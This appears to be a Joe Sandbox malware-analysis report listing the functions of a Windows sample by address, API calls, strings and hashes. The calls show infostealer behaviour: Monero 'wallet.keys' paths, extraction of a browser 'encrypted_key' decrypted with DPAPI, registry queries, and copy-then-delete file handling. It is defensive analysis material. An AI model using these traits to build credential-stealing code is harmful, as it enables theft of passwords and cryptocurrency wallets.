Opcode ID: 007fdf27ef563ed927eeecfe17581f288b63970d9869bb27744a120ae13f486e
Instruction ID: 5268385cbab7b6c70f15a156a76aecaa4c50749789d7f306e1b3ecb5bc295736
Opcode Fuzzy Hash: 007fdf27ef563ed927eeecfe17581f288b63970d9869bb27744a120ae13f486e
Instruction Fuzzy Hash: E71191B1E44309EBD714CF94E849FBBBBB8EB44701F10412AFA15A7284D7B459418BA0

Function 00ED9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01B8DD40,?,?,?,00ED140C,?,01B8DD40,00000000), ref: 00ED926C
lstrcpyn.KERNEL32(0110AB88,01B8DD40,01B8DD40,?,00ED140C,?,01B8DD40), ref: 00ED9290
lstrlen.KERNEL32(?,?,00ED140C,?,01B8DD40), ref: 00ED92A7
wsprintfA.USER32 ref: 00ED92C7

Strings

%s%s, xrefs: 00ED92B5

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 02c0a43c231dbfdd3e214b83df22eef2945b845c943741f53676ba73270af8af
Instruction ID: d0b524e44cd906e87ae9155a34f3ed7df394ec8a11adcf42fbe2b4f591658a40
Opcode Fuzzy Hash: 02c0a43c231dbfdd3e214b83df22eef2945b845c943741f53676ba73270af8af
Instruction Fuzzy Hash: 2E010C75900208FFCB09DFECE984EAE7BB9EF44354F108548F9099B245C6B1AA80DB90

Function 00EC12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EC12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00EC12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00EC12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EC12F5
RegCloseKey.ADVAPI32(?), ref: 00EC12FF

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 286a92fd892f9a48d61915f8e23d1781799d93cdb0e121fd449c0fed4b7bd35c
Instruction ID: 74e9d79871d32d4014e98ee9526800f8cdb3de1c2f0f8afa65317c6abc6db132
Opcode Fuzzy Hash: 286a92fd892f9a48d61915f8e23d1781799d93cdb0e121fd449c0fed4b7bd35c
Instruction Fuzzy Hash: B40131B9E40308BBDB14DFE0E849FAEB7B8EF48701F008169FA1597284D6B19A418F50

Function 00ED6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00ED6663

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00ED6726
ExitProcess.KERNEL32 ref: 00ED6755

Strings

<, xrefs: 00ED66D9

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: b74dd7682f37c4269f53047d18a3653b2cf843808b86292540acdd44d4ea4107
Instruction ID: 909314bd54b1ba02b0b71445b3b8865de2c5a1069466442e4d12b4999067f349
Opcode Fuzzy Hash: b74dd7682f37c4269f53047d18a3653b2cf843808b86292540acdd44d4ea4107
Instruction Fuzzy Hash: 0A315CB1C00218AADB19EB90DC95BDD77B8EF44300F4061AAF21977281DFB46B89CF59

Function 00ED87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E28,00000000,?), ref: 00ED882F
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8836
wsprintfA.USER32 ref: 00ED8850

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

%dx%d, xrefs: 00ED8847

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 53bfc8a282d79d79ded03fff078166cf34ce1054bdb442a9e5088a995773c64b
Instruction ID: 0a0e85ebe6c3c94e34cacf0923c8b0ddeeb32636b7dd1a29fce024062247b81e
Opcode Fuzzy Hash: 53bfc8a282d79d79ded03fff078166cf34ce1054bdb442a9e5088a995773c64b
Instruction Fuzzy Hash: E12121B1E40308AFDB14DF94ED45FAEBBB8FB48711F104119F515A7284C7B999418BA0

Function 00ED8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00ED951E,00000000), ref: 00ED8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8D62
wsprintfW.USER32 ref: 00ED8D78

Strings

%hs, xrefs: 00ED8D6F

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: b8b0b3e67c1305d2b76b62db1a497ef3cc71a7b0aa325f7b74b5b98991828ae5
Instruction ID: 0857ac896f60b45ccfef596644b56022827b6fd9e38a5ff7aec10224574e516c
Opcode Fuzzy Hash: b8b0b3e67c1305d2b76b62db1a497ef3cc71a7b0aa325f7b74b5b98991828ae5
Instruction Fuzzy Hash: 66E08670E4030CBBC714DB94E809E5977B8EF04702F004065FD0997240D9B15E408B55

Function 00ECA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,01B89EE8,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00ECA3FF
lstrlen.KERNEL32(00000000), ref: 00ECA6BC

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00ECA743

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 82f293d1953008b198c38096c6b88ded7da894732fa792440eb3c671f8f96f5f
Instruction ID: 933f0ee14168822beb241504e4304776972b6c928c29e60ca4ea4ea69b6cb321
Opcode Fuzzy Hash: 82f293d1953008b198c38096c6b88ded7da894732fa792440eb3c671f8f96f5f
Instruction Fuzzy Hash: E1E16D76C101089ACB09FBA0EC96EEE7378EF54300F54917AF41672191EF706B4ADB66

Function 00ECD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,01B89EE8,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECD481
lstrlen.KERNEL32(00000000), ref: 00ECD698
lstrlen.KERNEL32(00000000), ref: 00ECD6AC
DeleteFileA.KERNEL32(00000000), ref: 00ECD72B

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4795ef4502cd474cf59cca537609af1af35e5961f1ed17535edd7f4372ef2026
Instruction ID: 212d79abbaf25b732d6050a2e06c77ab2a42da3895f5f725dceb634e003adf56
Opcode Fuzzy Hash: 4795ef4502cd474cf59cca537609af1af35e5961f1ed17535edd7f4372ef2026
Instruction Fuzzy Hash: 9D914F768101089ACB08FBA0DD96EEE7378EF54300F44517AF417B2291EF746B4ADB66

Function 00ECD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,01B89EE8,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECD801
lstrlen.KERNEL32(00000000), ref: 00ECD99F
lstrlen.KERNEL32(00000000), ref: 00ECD9B3
DeleteFileA.KERNEL32(00000000), ref: 00ECDA32

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3b81270923d76abf63ab3fbf89ffa8338b909adbcfaad8e6175354b61c24d99c
Instruction ID: 45f8ac930968496ce7a1746254836c21a437def7d9409ba49dd1e5458950e2d8
Opcode Fuzzy Hash: 3b81270923d76abf63ab3fbf89ffa8338b909adbcfaad8e6175354b61c24d99c
Instruction Fuzzy Hash: 408151768101089ACB08FBA0DD96EEE7378EF54300F44513AF417B2291EF746B4ADB62

Function 00ED3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 821d57b9c179dbc356e7348f1526250397627eb5cbdb067267a851267485cea7
Instruction ID: 4a334bbb07b62adbf1e1fd284ec2b63f6f7f9ec4dc35db4e25e153d5af99caba
Opcode Fuzzy Hash: 821d57b9c179dbc356e7348f1526250397627eb5cbdb067267a851267485cea7
Instruction Fuzzy Hash: 67413F75D10209AFCB04EFB5D845AEEB7B4EF44304F04902AE41676390DB75AA46CBA2

Function 00EC9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EC9D39

Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
Part of subcall function 00EC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
Part of subcall function 00EC9AC0: LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

Part of subcall function 00EC9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EC9B84
Part of subcall function 00EC9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00EC9BA3
Part of subcall function 00EC9B60: LocalFree.KERNEL32(?), ref: 00EC9BD3

Strings

"encrypted_key":", xrefs: 00EC9D30
DPAPI, xrefs: 00EC9D89
, xrefs: 00EC9DC1

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
